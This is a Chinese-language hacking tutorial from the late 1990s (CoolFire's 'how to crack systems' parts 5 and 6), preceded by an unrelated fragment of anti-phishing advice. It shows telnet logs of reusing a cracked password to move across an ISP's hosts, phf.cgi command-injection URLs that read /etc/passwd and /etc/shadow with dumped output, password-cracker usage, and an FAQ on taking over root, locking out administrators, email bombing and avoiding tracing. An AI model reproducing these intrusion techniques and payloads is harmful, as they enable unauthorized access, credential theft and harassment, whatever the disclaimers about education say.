他们会伪装成合法的机构或人士向你发送电子邮件或信息，引诱你点击恶意链接或提供个人资料。

为了防范这些攻击，我们应该保持警惕，仔细核实发件人的身份，并避免随意点击陌生邮件中的链接或下载附件。

另外，学会辨别可疑的网站，避免输入个人信息到不受信任的网站上。

5. 使用虚拟专用网络(VPN)虚拟专用网络(VPN)是一种加密通信方式，可以有效保护你的网络连接。

如何破解系统

如何破解系统(5)这不是一个教学文件, 只是告诉你该如何破解系统,好让你能够将自己的系统作安全的保护, 如果你能够将这份文件完全看完, 你就能够知道电脑骇客们是如何入侵你的电脑, 我是CoolFire, 写这篇文章的目的是要让大家明白电脑安全的重要性, 并不是教人Crack Password若有人因此文件导致恶意入侵别人的电脑或网路, 本人概不负责!!各位新年还愉快吗?? 有没有人过年还死守著电脑的呀~~ 该出去活动活动罗~~ 当然,过完了年我们有有新的功课要作罗, 在过年前有一位网友Mail 了一份passwd 过来,我也因此找到了某家站台的密码, 经深入研究过之後, 决定产生这一篇文章, 大家先热身一下吧!!等一下就会有好戏喔~~本次主题: 善用你所得到的任何资讯(Exm: HOSTS 档)连接位址: xxx.xxx.xxx.xxx (又马赛克啦)特别说明: 因为该站台是一个"很大" 的网路提供者, 其服务地区遍及全亚,所以必须要特别以马赛克来处理, 希望网友们不要介意(咱们重的是内容嘛!! 又不是..那个.. 那个).-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-**** 课程开始****首先说明的是, 这个网路提供者的服务项目,包含了拨接及传真还有帮其它业者架设网路等, 也就是说如果我们能够善用他们的系统就可以免费传真罗?? 哇哩... 国际传真耶,这间公司不就亏大了!!!!!所以马赛克处理是必要的, 不过这次的课程不是说明这个ISP 够大,而是我们如何利用一组已经破解的密码来入侵其它与其相连的主机, 这点是比较重要的!!大家可能早就已经知道, 在Unix 系统中/etc 目录下的hosts 档案的作用了,我们今天就来谈谈, 知道的人跳过去吧!! 如果使用Windoz 95 的人, 也可以看看在你95的系统目录中也有一个这样子的档案, 他是长得像这个样子的: 127.0.0.1 localhost FETAG , 表示127.0.0.1 为LocalHost 也就是FETAG 的电脑, 所以我们要找与该Unix 有"直接关系" 的主机可以由这个地方找到.找到这些主机有甚麽用呀?? 继然你已经有了一个主机的密码,当然其它的主机也可能会有相同的User 在其它的主机上用同样的帐号, 而且依据经验来说,他们在其它主机上的密码通常都跟你目前所拥有的这一份是一样的, 也就是你可以用同样的一组密码游走於其它的主机!!以下示范的这个例子就是啦!!www:/etc$ telnet Trying 222.111.111.111...Connected to .Escape character is '^]'.Linux 1.2.8 () (ttyp0)(甚麽烂公司, 新版系统的Bug 少多了, 还不更新~~~)Superman login: amywangPassword:(用你所知道的密码进入)Linux 1.2.8. (POSIX).You have new mail.(不要偷看人家的信喔)Superman:~$ cd /etcSuperman:/etc$ cat hosts(直接深入今天的主题)# For loopbacking.127.0.0.1 localhost222.111.247.1 router222.111.247.2 abcdf01 f01 222.111.247.3 abcdf02 f02 222.111.247.4 abcdf03 f03 222.111.247.5 abcdf04 f04207.121.0.15 abcdhk1 hk1222.111.248.2 abcdf11 f11222.111.248.3 abcdf12 f12 222.111.248.4 abcdf13 f13222.111.248.131 abcdf21 f21 222.111.248.132 abcdf22 f22 222.111.248.133 abcdf23 f23 222.111.248.134 abcdf24 f24222.111.247.33 abcdf01-s1 f01-s1 222.111.247.33 abcdf02-s1 f02-s1222.111.247.34 abcdts2-s1 ts2-s1222.111.247.193 abcdf11-s1 f11-s1222.111.247.193 abcdf12-s1 f12-s1222.111.247.194 abcdts1-s1 ts1-s1222.111.247.73 abcdf21-s1 f21-s1222.111.247.197 abcdf22-s1 f22-s1222.111.247.198 abcdts1-s2 ts1-s2222.111.247.201 abcdus1-s1 us1-s1222.111.247.77 abcdus2-s1 us2-s1222.111.247.78 abcdts1-s3 ts1-s3222.111.247.133 abcdts1-l0 ts1-l0222.111.248.10 abcdts2-l0 ts2-l0#206.222.170.2 abcdus1 us1#206.222.170.3 abcdus2 us2206.222.170.4 abcdus3 us3206.222.170.5 abcdus4 us4206.222.170.7 abcdus1+ abcdus1+ us1+ us1206.222.170.6 abcdus2+ abcdus2+ us2+ us2222.111.247.131 linux01 x01222.111.247.135 linux03222.111.247.151 linux04 x04222.111.247.132 linux02 x02222.111.111.111 Superman222.111.27.153 abcdpc3 pc3222.111.27.152 abcdpc2 pc2222.111.27.147 brian brian222.111.27.148 linuxpc hsliao220.65.11.1 knet01203.127.230.243 .sg sgp02# End of hosts(我已经尽量在马赛克了!! 如果有没有马赛克完全的地方, 请该网路业者见谅) (因为是Telnet LogFile 直接收录的嘛~~ 唉.. 谁叫你的系统这麽脆弱~~)Superman:/etc$ telnet 220.65.11.1Trying 210.65.33.2...Connected to 210.65.33.2.Escape character is '^]'.Linux 1.2.8 (snet01) (ttyp2)knet01 login: amywangPassword:Linux 1.2.8. (KNET01).You have new mail.(进来了! 就是这样啦!!!!!!)用了这种方法对该主机所连接的各点作测试,找到了一个可以使用所有主机的帐号及密码档案, 我用这个帐号抓了26 台主机的/etc/passwd, 现在我的机器还在使用CJack 对这26个密码档解码中, 如果有更进一步的消息, 我们会在下一篇的时候一并讨论,当然这个方法不仅适用於这间公司, 对其它的主机也都适用, 这间公司的规模应算不小了, 台湾; 香港; 日本都有分公司的样子,不过也都.... 呵~以上就是hosts 档的妙用了!! 可能在此篇发表之後大家都用DNS 了, 而不再编辑hosts 档了~~~ 不过这个档案也可以锁起来呀~~ 限定只有root 可以用嘛! 反正一些烂ISP 不是都这样,一有安全顾虑就限定使用者的使用... 老套了啦!! 你还是会有其它的漏洞的... Linux 1.2.8 哈哈~~~多的是漏洞哩!!!!就算你把hosts 也锁起来, passwd 也shadow..还是有一大堆的地方是欢迎大家进入的~~~嗯.. 没有挑衅的意思啦~~ 各位亲爱的网路提供者... 请将您的系统加锁,以免有任何不测. 上次我们说的那个ISP (WWW Server 有漏洞的那个), 这次已经将root 的密码改掉了,但是还是留下许多User 的密码没有改, Password 档也没有作任何的保护, 对於这样的业者, 哪一家公司的HomePage 敢放在上面呢?? 被人乱改一通不是破坏了公司的形像吗??-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-**** 又是字典档****这次字典档的部份不再多谈了, 讲讲上一次的一点漏失,由於上次写出来的程式太多地方没有先作考虑, 所以用起来怪怪的!! 再加上很多的功能没有加上的关系,有很多网友反映出来的问题多在自己操作上的错误, 呵~~ 怪写程式的人没有作好一些检查的动作嘛~~所以CoolFire 决定将上次那个鸟程式重新写过, 配合排序及检查重覆的功能来使用,预计由今天晚上开始动工写出字典档的产生器, 这样才对各位网友们有个交待, 喝呵...不过网友们别抱著太大的希望, 因为James 的LetMeIn! 2.0 也还在大家的期盼下久久未见,每天加班的他也实在没甚麽时间,CoolFire 能在甚麽时候写好, 也是未知数. 不过请各位Mail给我你对此字典档产生器的意见, 还有你希望它能在甚麽作业系统下动作?? DOS ?? Windoz ??-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-**** CoolFire FAQ ****实在很想帮大家解决问题, 但是请不要寄来"请帮我Crack xxx ISP" 的信件,如果我们的Home Page 有甚麽问题, 或是你在Crack 所遭遇到的问题, 欢迎大家来信讨论!! Harlem Liang网友所建议的StarKrack也是一个不错的Password Crack 软体, 请大家也帮忙试试喔~~~~[Q1]你在Coolhc~4 中讲到Shadow.c 可以用unix 里的cc 指令但如何Keyin 例如: /harlem/>CC之後呢?[A1]在Unix 系统中下以下的指令: cc -o deshadow shadow.c 最後所产生出来的deshadow 就是执行档名了Unix 是一个不错的系统, 尤其是想要学习Crack Password或入侵的中H都一定踯n经过这个门槛, 大家可以多看看一些有关Unix 的书籍, 当然c 语言也是其必须的罗~~~:)[Q2]deshadow 是在Unix 下执行,还是在Dos下执行, 用C 语言可不可以转换?可不可以把shadow的passwd拿回来再转换?[A2]呵~~ 既然/etc/passwd 已经shadow 了! 你拿回来的当然是没有用的密码档,只能知道其user 的名字而已, 所以如果要拿回来Crack 当然是不可能的, 而DeShadow 是针对Unix系统的漏洞所设计的,且只能在Unix 上尝试DeShadow.. 故请在Unix 上Compiler 再执行,当然有些系统可能已经将漏洞补上了, 或因为网路安全的问题不提供使用者编译档案,那就只好使用其它方法罗~~~:)[Q3]我找到root的密码了! 用kOS的字典档XXXX的etc/passwd 用Star Cracker,只花了1小时30分就找到了!找到root的密码可以做甚麽呢? 你有没有用kOS crack XXXX的passwd花了多久time?[A3]哇!! 恭喜你罗!(注: XXXX 部份为"马赛克" ) 找到root 的密码後能作甚麽???呵.. 随便你罗, 想要作甚麽就作甚麽, 当然可以更进一步的得到更多的东西,你可以任意修改系统(小心触法), 也可以在心情不好的时候把系统"关" 起来, 不让别人上线, 亦可以更改root 的密码,让他们的root 没有办法维护系统, 反正系统是你的了! 问我能作甚麽?? 我也不能回答你..... :)我当然也Crack 过, 不过时间嘛... 没算, 因为我都是用好几台电脑在跑的(利用下班时间),所以操作环境跟你不同罗!![Q4]看hopenet知道linux的bin/login中有一个很大漏洞可以取得root的权限是怎麽一回事呢?[A4]该文章附有一URL 位址, 请连上去看看後就知道了, 现在也有许多人讨论这些东西,不过很多公司用的Linux 都还是 1.x.x 版的, 很好Crack... 试试吧! 保证你会爱上它~~ 呵~[Q5]Cyberspace是什麽样的组织?[A5]嗯?? 连这种问题都有人问呀~~~ 请到看看就知道罗~~~[Q6] I have a question for the 'GZ' file format.[A6]对呀!! 放了字典档的连结在首页上就出现了很多问.z .gz 档要怎麽解的问题了,我的系统安装了Winzip, Pkunzip, Gzip 後.z .gz 就变成Winzip 可解的档案了,知道该怎麽办了吧~~[Q7]我日前从你的站台连至GlobalKOS下传jack14的辅助工具,不过我的连线速度太慢,所以一直抓不回来,你可以mirror 回来吗?[A7]这种问题我也只好Say "SORRY" 罗, 我们的首页上已经放了很多东西了,而且也都是开放让同好们"免费" 参观及抓取(绝不收费啦!!), 且一个kOS 就要 1.xxMB 那麽大,我基於要放更多东西的关系提供了一个Hot Link 在上面, 请各位"努力" 吧!!不然换条线试试, 你用的可能是学术网路吧!! 可不可以在非巅锋时间抓呢?? 还是弄个ftp Server 帮你抓,信箱够大的话可以用Mail FTP... 等, 都可以达到你的目地的~~~:)[Q8]我去找到了一个站的密码档,之後我执行JACK却出现Virtual mode not supportedwithout VCPI的讯息,请问是什麽错误?[A8]这位网友可能是使用Windoz 95 的DOS BOX 所出现的讯息吧!! VCPI 要在EMM386.EXE 挂上後有效, 也就是说最好在纯DOS 下挂上EMM386.EXE 再使用Crack Jack,另外使用的时候也不要在EMM386.EXE 後下NOEMS 的参数, 不然CJack 也不会理你, 至於怎麽在Win95 的DOS BOX 中使用CJack ?? 我也不知道! 有没有人试成功的, 请出个声吧!![Q9]我如果由www得到密码档,破解之後我要从那输入密码?[A9]嗯, 很简单呀!! 启动你的Telnet 软体(NetTerm... Telnet... etc.) 连线到www.xxx.xxx.xxx 去, 然後就可以输入密码, 依正常程序Login 就成了!! 加油喔~~ Enjoy Hacking~:)[Q10]我无法将字典档抓下来, 可否用E-MAIL寄给我[A10]........ 谁来帮我回答~~~~?**** 後语****作这份东西的动机是"兴趣", 入侵到他人的主机是属於非法的行为?但是我并没有作任何的破坏动作, 纯粹就是"好玩", 当然也因此突显出许多站台的安全性问题,所以这份文章也就有点"教育"这些破站台的意味存在. 有许多的网有对CoolFire 充满了信心, 寄了许多站台的网址来"求破",呵.. 我只能看看, 不能够将每天的心力都投注在上面, 网友们也许比较有时间吧!!大家可以一起到Hacker 论坛讨论讨论.我们的首页感谢大家的支持, 现在人数.... 呵, 已经不准了!不晓得是哪位网友跑到咱们的Cgi-Count去动了手脚, 原本过年前还在32xx 的人, 现在已经倒退了, 暂且不管网友们是如何想的,下次若再出现这样的状况, 这个首页可能因此关门大吉罗~~~** 不要Crack 这个首页的ISP!!!! 否则FETAG Sofeware's Hacking Page将会完全关闭, 再也不寻找其它的地方来放置, 希望给你的是使用电脑的"知识",不要利用它来夺取任何的"权利", 本首页著重的是教育, 而不是一的教导攻击的方法, 希望大家对於政府机关(org.tw) 或教育机构(edu.tw) 不要作任何的破坏!! 还有我的ISP......:D谢谢大家的支持~------再次重申, Crack 别人站台之後不要破坏别人站台中的资料, 此篇文章仅作为教育目的,不主张你随便入侵他人主机.... (高-Net 还是除外)... 请勿将这类技术使用於破坏上(又...如果第三次世界大战开打, 你可以任意破坏敌国的电脑网路... 我全力支持),最严重的情况(如果你真的很讨厌该主机的话)... 就将它Shut Down.... 好了! 别太暴力了!如何破解系统（六）-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- [CGI Hole (phf.cgi) 的延伸]这次的主题想了好久, 一直都没有想到, 不过日前有一个屋漏偏逢连夜雨的某国营事业, 在几经下X雨及漏X的风波之後, 在他们的主机上发现了很好玩的状况, 原本我们在使用phf.cgi 来抓/etc/passwd的时候, 在Browser 的Location 中是下:/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwdQuery Results/usr/local/bin/ph -m alias=x /bin/cat /etc/passwdroot:x:0:1:0000-Admin(0000):/:/sbin/shdaemon:x:1:1:0000-Admin(0000):/:bin:x:2:2:0000-Admin(0000):/usr/bin:sys:x:3:3:0000-Admin(0000):/:adm:x:4:4:0000-Admin(0000):/var/adm:lp:x:71:8:0000-lp(0000):/usr/spool/lp:smtp:x:0:0:mail daemon user:/:uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucicolisten:x:37:4:Network Admin:/usr/net/nls:nadm:x:45:2::/usr/bin:/sbin/shiuucp:x:46:5::/usr/lib/uucp/uucico:/sbin/shnobody:x:60001:60001:uid no body:/:noaccess:x:60002:60002:uid no access:/:gopher:x:100:1::/usr/local/bin:/usr/local/bin/GopherUserScriptnews:x:105:100::/usr/local/etc/innd:/usr/lib/rshftp:x:106:101:Anonymous FTP:/export/ftp:/bin/falsehanshin:x:109:1::/home1/hanshin:/usr/lib/rshdayeh:x:110:1::/home1/dayeh:/usr/lib/rshming:x:133:1::/home1/ming:/usr/bin/kshcharlesl:x:139:1::/home1/charlesl:/usr/lib/rshiiimail:x:142:6::/home/iiimail:/usr/lib/rshcharles.lo:x:156:1::/home1/charles.lo:/usr/lib/rshwebmaster:x:161:1::/home1/webmaster:/usr/lib/rshmark:x:171:1::/home1/mark:/usr/lib/rshjcteam:x:172:1::/home1/jcteam:/usr/lib/rshibgchen:x:224:1::/home1/ibgchen:/usr/lib/rsh但是如果没有, 或是shadow 的话, 你可能会接著试:/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/shadowQuery Results/usr/local/bin/ph -m alias=x /bin/cat /etc/shadow但是有时候虽然phf.cgi 这个程式的漏洞没有被补上, 还是有很多的机器不理会这个指令, 不过当这个指令生效, 但是你看到的却是一个shadow 过的passwd 的时候, 请不要灰心, 因为这台机器已经在你的手中了, 为甚么呢?? 我们来玩看看一些简单的Unix shell command 你就会知道了~~ /cgi-bin/phf?Qalias=x%0a/bin/ls%20-l%20-a%20/etcQuery Results/usr/local/bin/ph -m alias=x /bin/ls -l -a /etctotal 466-rw-r--r-- 1 root root 38 May 2 1996 #etcnamed.boot#-rw-r--r-- 1 root root 20579 May 1 1996 #sendmail.cf#drwxr-xr-x 11 root root 2048 Apr 17 13:07 .drwxr-xr-x 24 root root 1024 Mar 26 08:16 ..-rw-r--r-- 1 root root 2167 Aug 24 1995 DIR_COLORS-rw-r--r-- 1 root root 15 May 1 1996 HOSTNAME-rw-r--r-- 1 root root 4 Feb 24 1993 NETWORKING-rw-r--r-- 1 root root 48 Dec 30 1994 NNTP_INEWS_DOMAIN-rw-r--r-- 1 root root 0 May 13 1994 at.denydrwxr-xr-x 2 root root 1024 Apr 11 1996 backups-rw-r--r-- 1 root root 1212 Jul 10 1993 bootptab-rw-r--r-- 1 root root 0 Feb 15 1994 csh.cshrc-rw-r--r-- 1 root root 893 Apr 12 1996 csh.logindrwxr-xr-x 2 root root 1024 Apr 16 1996 default-rw-r--r-- 1 root root 154 Aug 21 1994 exports-rw-r--r-- 1 root root 0 May 13 1995 fastboot-rw-r--r-- 1 root root 1118 Jan 28 1994 fdprmdrwxr-xr-x 2 root root 1024 Apr 12 1996 fs-rw-r--r-- 1 root root 250 Dec 9 19:19 fstab-rw-r--r-- 1 root root 242 Dec 5 13:55 fstab~-rw-r--r-- 1 root root 1915 Jan 27 07:46 ftpaccess-rw-r--r-- 1 root root 368 Aug 1 1994 ftpconversions-rw-r--r-- 1 root root 0 Aug 9 1994 ftpgroups-rwxr-xr-x 1 root root 50 May 1 1996 ftponly-rw-r--r-- 1 root root 501 Apr 26 1996 ftpusers-rw-r--r-- 1 root root 76 Aug 21 1994 gateways-rw-r--r-- 1 root root 669 May 19 1994 gettydefs-rw-r--r-- 1 root root 291 Jun 6 1996 group-rw-r--r-- 1 root root 27 Jul 7 1994 host.conf-rw-r--r-- 1 root root 628 Jul 12 1996 hosts-rw-r--r-- 1 root root 600 Jan 6 10:18 hosts.allow-rw-r--r-- 1 root root 341 May 9 1996 hosts.deny-rw-r--r-- 1 root root 313 Mar 16 1994 hosts.equiv-rw-r--r-- 1 root root 302 Sep 23 1993 hosts.lpd-rw-r--r-- 1 root root 653 Apr 24 1996 hosts~lrwxrwxrwx 1 root root 1 Apr 12 1996 inet -> .-rw-r--r-- 1 root root 3677 Jan 6 10:20 inetd.conf-rw-r--r-- 1 root root 3664 Apr 23 1996 inetd.conf~-rw-r--r-- 1 root root 2351 Apr 18 1996 inittab-rw-r--r-- 1 root root 2046 Jul 28 1994 inittab.gettyps.sample -rw-r--r-- 1 root root 27 Apr 17 12:43 issue-rw-r--r-- 1 root root 3 Apr 17 12:43 klogd.pid-rw-r--r-- 1 root root 1223 Apr 17 12:43 ld.so.cache-rw-r--r-- 1 root root 71 Aug 14 1995 ld.so.confdrwxr-xr-x 2 root root 1024 Apr 12 1996 lilo-rw-r--r-- 1 root root 479 Apr 13 1996 lilo.conf-rw-r--r-- 1 root root 479 Apr 13 1996 lilo.conf.bak-rw-r--r-- 1 root root 266 Apr 17 12:42 localtime-rw-r--r-- 1 root root 76873 Oct 17 1995 magic-r--r--r-- 1 root root 105 May 8 1994 mail.rc-rw-r--r-- 1 root root 14 Apr 17 12:43 motddrwxr-xr-x 2 root root 1024 Aug 1 1994 msgs-rw-r--r-- 1 root root 151 Apr 17 20:43 mtab-rw-r--r-- 1 root root 833 Jun 29 1994 mtools-r--r--r-- 1 root root 974 Apr 17 11:48 named.boot-r--r--r-- 1 root root 2568 May 2 1996 named.boot,v-r--r--r-- 1 root root 764 Mar 8 16:54 named.boot.v1-r--r--r-- 1 root root 813 Mar 17 08:45 named.boot.v2-r--r--r-- 1 root root 521 Apr 18 1996 named.boot.~1.3~-r--r--r-- 1 root root 566 Apr 19 1996 named.boot.~1.4~-r--r--r-- 1 root root 566 Apr 19 1996 named.boot.~1.5~-r--r--r-- 1 root root 707 Mar 5 08:32 named.boot.~1.6~-rw-r--r-- 1 root root 566 Apr 19 1996 named.boot~-rw-r--r-- 1 root root 235 May 1 1996 networks-rw-r--r-- 1 root root 237 Apr 24 1996 networks~-rw-r--r-- 1 root root 0 May 8 1995 nntpserver-rw-r--r-- 1 root root 36 Sep 12 1994 organization-rw-r--r-- 1 root root 1727 Apr 17 13:07 passwd-r--r--r-- 1 root root 1662 Apr 17 13:06 passwd--rw-r--r-- 1 root root 1715 Apr 17 13:06 passwd.OLD-rw-r--r-- 1 root root 1494 Feb 12 14:22 passwd.old-rw-r--r-- 1 root root 1354 Jun 6 1996 passwd~drwxr-xr-x 2 root root 1024 Jul 9 1994 ppp-rw-r--r-- 1 root root 2240 May 20 1994 printcap-rw-r--r-- 1 root root 1083 Apr 12 1996 profile-rw-r--r-- 1 root root 595 Aug 21 1994 protocolsdrwxr-xr-x 2 root root 1024 Jan 3 23:59 rc.d-rw-r--r-- 1 root root 41 May 1 1996 resolv.conf-rw-r--r-- 1 root root 65 Jan 31 1996 resolv.conf~-rw-r--r-- 1 root root 743 Aug 1 1994 rpc-rw-r--r-- 1 root root 87 Jun 6 1996 securetty-r--r--r-- 1 root root 20579 May 1 1996 sendmail.cf-r--r--r-- 1 root root 21332 May 1 1996 sendmail.cf,v-rw-r--r-- 1 root root 20541 Apr 13 1996 sendmail.cf~-rw-r--r-- 1 root root 408 Apr 25 17:17 sendmail.st-rw-r--r-- 1 root root 5575 Aug 1 1994 services-rw-r--r-- 1 root root 68 Jun 6 1996 shellsdrwxr-xr-x 3 root root 1024 Nov 13 1994 skel-rw-r--r-- 1 root root 314 Jan 10 1995 slip.hosts-rw-r--r-- 1 root root 342 Jan 10 1995 slip.login-rw-r--r-- 1 root root 455 Aug 1 1994 snooptab-rw------- 1 root users 524 Jul 18 1996 ssh_host_key-rw-r--r-- 1 root users 327 Jul 18 1996 ssh_host_key.pub-rw------- 1 root users 512 Mar 10 09:03 ssh_random_seed-rw-r--r-- 1 root users 607 Jul 18 1996 sshd_config-rw-r----- 1 root root 501 Apr 26 1996 syslog.conf-rw-r--r-- 1 root root 3 Apr 17 12:43 syslog.pid-rw-r--r-- 1 root root 183942 Aug 9 1995 termcap-rw-r--r-- 1 root root 126 Nov 24 1993 ttyslrwxrwxrwx 1 root root 13 Apr 12 1996 utmp -> /var/adm/utmpdrwxr-xr-x 2 root root 1024 Aug 25 1995 vgalrwxrwxrwx 1 root root 13 Apr 12 1996 wtmp -> /var/adm/wtmp-rw-r--r-- 1 root root 76 May 8 1995 yp.conf.examplelrwxrwxrwx 1 root root 7 Apr 12 1996 zprofile -> profile上面的%20 所代表的是[Space] 也就是空白键啦! 那上面这个Location 就如同我们已经Telnet 到这台机器上, 下了: ls -l -a /etc 这个指令一样, 嗯... 也就是说....$^^*^$@@#OK! 当你抓/etc/passwd 所抓到的是shadow 过的passwd 档, 你一定会要抓真正的shadow 档来作"配对" 的动作... 所以呢, 下了ls 指令来找找看到底真的shadow 是藏在哪里, 当然你可以看的不只是/etc 这个目录, 任何目录你都可以看, 当然你可以使用的也不只是cat 及ls 这两个指令, 你可以用更多的指令~~ 那么还有甚么作不到的呢??? 我想可能还是有很多哩~~ 因为phf.cgi 好像只把你所下的指令丢给shell 後直接拦下它输出的结果, 也就是如果像是/bin/passwd userid 这样的指令就不能用~ 因为它会要等你输入下一个字串~~ 除非先写入一个档案, 然後用来代入"<".. 嗯..最近很忙, 没有空作这些无聊事, 不过phf.cgi 还真的蛮好玩的, 我已经试了好几台机器都可以看到文件内容及档案, 目录... 当然~ 没有破坏就是了~~经过这样的说明, 你是不是有些Idea ?? 还是记起以前有试过其它的机器的phf.cgi 也可以这样子玩的?? 嗯~ 再连过去玩玩看吧! 发挥一下你的想像力~~ /etc/passwd 很容易就可以得手的喔~~ 对了~ 不要乱搞政府机关or 你们的学校啦!!~~-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- [Crack 工具介绍] John the Ripper V1.4 [Size:743K]记得先前一直介绍大家使用CJack V1.4 来破解密码档, 那是因为它"够快", 在Encrypt 的速度及比对的速度上实在快了很多, 但是之後由於很多网友的作业环境是在Windows 95 之下, 所以Jack不能跑, 我们就介绍大家使用John the Ripper V1.1 这个Passwrod Cracker~ 现在这套Cracker出了新的版本了, 经过我们的试用觉得应该好好的为它介绍一番, 原来一直声称速度上比CJack14还要快的John, 经过实际上的测试, 总感觉速度没有Jack 来得快, 虽然作者声称是因为他们这支程式是以486 机器作最佳化的, 在386 上跑起来会比较慢, 但是旧的V1.1 实在是比Jack还要慢这也是大家都看得到的事实.而 1.4 版在EnCrypt 上实在是下了点功夫, 也对Win32 版本有了支援, 当你下载解开後会发现里面有DOS.ZIP WIN32.ZIP SOURCE.TGZ 这三个档, 分别是在DOS 下使用的版本, Win95,NT 下使用的版本及Unix 下使用的版本, 这时针对你所运用的作业环境作个选择, 将档案解开即可直接使用.你还要再解开COMMON.ZIP(共用档) 及DOC.ZIP(说明档), 经过测试速度上明显提升很多, 但是我不敢讲它比Jack 要快多少, 至少在我的Pentium 133 的机器上跑起来觉得差不多, 也没有谁比较快谁比较慢的感觉~~ 不过以这样的档案大小(7xxK) 能同时包含三种作业系统, 实在是不错的选择!!当然这个程式里面只含了一个小小的字典档供你测试, 想要发挥它最大的效能还是先要有一个不错的字典档, 但是新的版本中可以让你设定自动产生序数及字串比对(之前的好像也有吧?), 至於如何操作, 我想他跟Jack 及前一版本的操作方法相同, 就不用再多作介绍了~~ 以下是它的执行画面:John the Ripper Version 1.4 Copyright (c) 1996,97 by Solar DesignerUsage: john [flags] [passwd files]Flags: -pwfile:<file>[,..] specify passwd file(s)-wordfile:<file> -stdin wordlist mode, read words from <file> or stdin-rules enable rules for wordlist mode-incremental[:<mode>] incremental mode [using john.ini entry <mode>]-single single crack mode-external:<mode> external mode, using john.ini entry <mode>-restore[:<file>] restore session [from <file>]-makechars:<file> make a charset, <file> will be overwritten-show show cracked passwords-test perform a benchmark-users:<login|uid>[,..] crack this (these) user(s) only-shells:[!]<shell>[,..] crack users with this (these) shell(s) only-salts:[!]<count> crack salts with at least <count> accounts only-lamesalts assume plaintext passwords were used as salts-timeout:<time> abort session after a period of <time> minutes-list list each word-beep -quiet beep or don't beep when a password is found-noname -nohash don't use memory for login names or hash tables-des -md5 force DES or MD5 mode有没有看到最後一行? 有MD5 mode 的支援了哩~~~嗯.. 介绍完了! 当然! 这支程式我们也传回来了, 你可以在我们的首页找到, 或者你也可以试者archie 看看有哪些ftp site 有, 它的档名是ucfjohn3.zip ENJOY~-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-**** CoolFire FAQ ****许多东西没有空整理, 但是还是收集了一部分的问答出来, 如果这边有的就不要再来信询问了喔!![Q0]我抓了KOS 但是抓到1.2MB 左右就停了, 不晓得哪里还可以抓到.[A0]如果你是想要我们站上KOS 中的字典档, 那么很报歉, 因为这东西只有本站的KOS 中有包,在别的地方抓到的KOS 不含我们这个字典档(这是我们自己加料过的, 其它程式相同), 这也是为甚么首页上的KOS 如此大了~ 如果你所要的是KOS 的程式, 那么你可以到这个搜寻引擎中找"globalkos" 这个字串, 会有很多地下站台的列表, 接著你就可以在这些地方找一个连线速度较快的主机抓取KOS 了~~[Q1]我尝试用NETTERM 及LetMeIn 进入自己所建立的纟统(SCO Unix V).1. 因为帐号是本人的,所以我将密码放於在字典档第三行内.2. 在LetMeIn中选定我的字典档.3. 在NETTERM中输入我的帐号,然後按输入键.4. 在Password 的出现後回到LetMeIn.5. 按Start Break.6. 当Delay Time到了,键盘上的"NumLock"闪过不停,不过,过了第三行(猜想... 很久)也没有反应.老是停在Password这个浮标傍.7. 当再选LetMeIn後看见字典档内的字逐一出现於最低的行内.这好像没有按输入键.请替我解答,可以么?还想问问在那里可找到新的LetMeIn 及ClayMore版本多谢帮忙.[A1]1. 连上主机, 待user: 出现时不用输入你的user id.2. 启动LetMeIn 1.0 选定字典档3. 在Setup Keys 中输入你的User ID 并加上一个'~' 号(代表Enter4. 在After Keys 中输入'~' 号, 表示密码输入完也要按Enter.5. 按下Start Break, 在时间倒数完毕前将滑鼠点一下telnet (Netterm)程式视窗, 等待自动输入~~~~ :)ps... 以上.. 更正一下你的操作方式, 并请如果弄懂了LetMeIn 的操作方式时帮我写一下说明... 因为有太多人的操作都错了~~ 不晓得是不是我的说明写得太差了哩??? LetMeIn 及ClayMore 目前都未出新版本,LetMeIn 2.0 的赶工还在加强中(有TCP/IP 部分的支援).***[Q2]我download了kabomb3.0，但又怕给查出来...我在网上有一个很嚣张的敌人呢！[A2]KaBoom 3.0 经测试无法Fake IP, 所以很可能会被查出来~~~ 不过要看isp 配不配合抓~~~ 也就是说因为拨接是动态Ip, 较不容易查出(需透过ISP)...但是如果是假借它人帐号拨接, 又要看电信局配不配合抓了.[Q3]那么有没有完全不会被查出的email bomber呢？∶-）[A3]Windows 上的AnonyMailer 就是了~~ 但没有强大的炸人功能~~ 用途为发一般之匿名信件, 或是你可找Unix 上的Bomb Script..在Unix 上炸... 再不.. 就试装UpYours 罗~:)***[Q4]I can't get the email bomb files except the kabomb..Can you help mesolve this problem?[A4]You can download it from my site. If there's some problem, you can mail me~***[Q5] I trust that the GlobalKOS just down ..so I can get the KOS crackfiles. Can you tell where I can get or put the file in your homepage?Thanks you for you attention..[A5]对~ 经过连结测试该Server 好像已经没有回应了, 目前已将Global KOS 档案整理好放置於首页上供大家下载, 原先是遵重作者的反应不得放连结的, 现在由於该Server 停掉了, 所以就将档案放上来罗~ 快抓吧!***[Q6]ShaDow 系唔系唔可以解o架!? 有o既话用边个程式呀? 点样先可以做到呢? [A6]You can use deshadow like program to De-Shadow the shadowed file.Or you can use 'ypcat ' command to view the shadowed file.But almost ISP have been fix the hole. Good Luck.[Q7]我个ISP 用SUN/OS , D Sercuity 好劲o架! 我想睇D档案时, 会出现Permission Denied , 我咪用More / Less ! 然後用ftp 想睇, 用<!cat>又唔准! get file 都唔得! 我知个Passwd 档摆系边都罗唔到! 请问你又有无办法去罗个档案啊![A7]SUN OS ?? You should to check that system again and tell me what versionis it ? And you should check what ftp deamon and what http deamon andsendmail version. You should check everything about 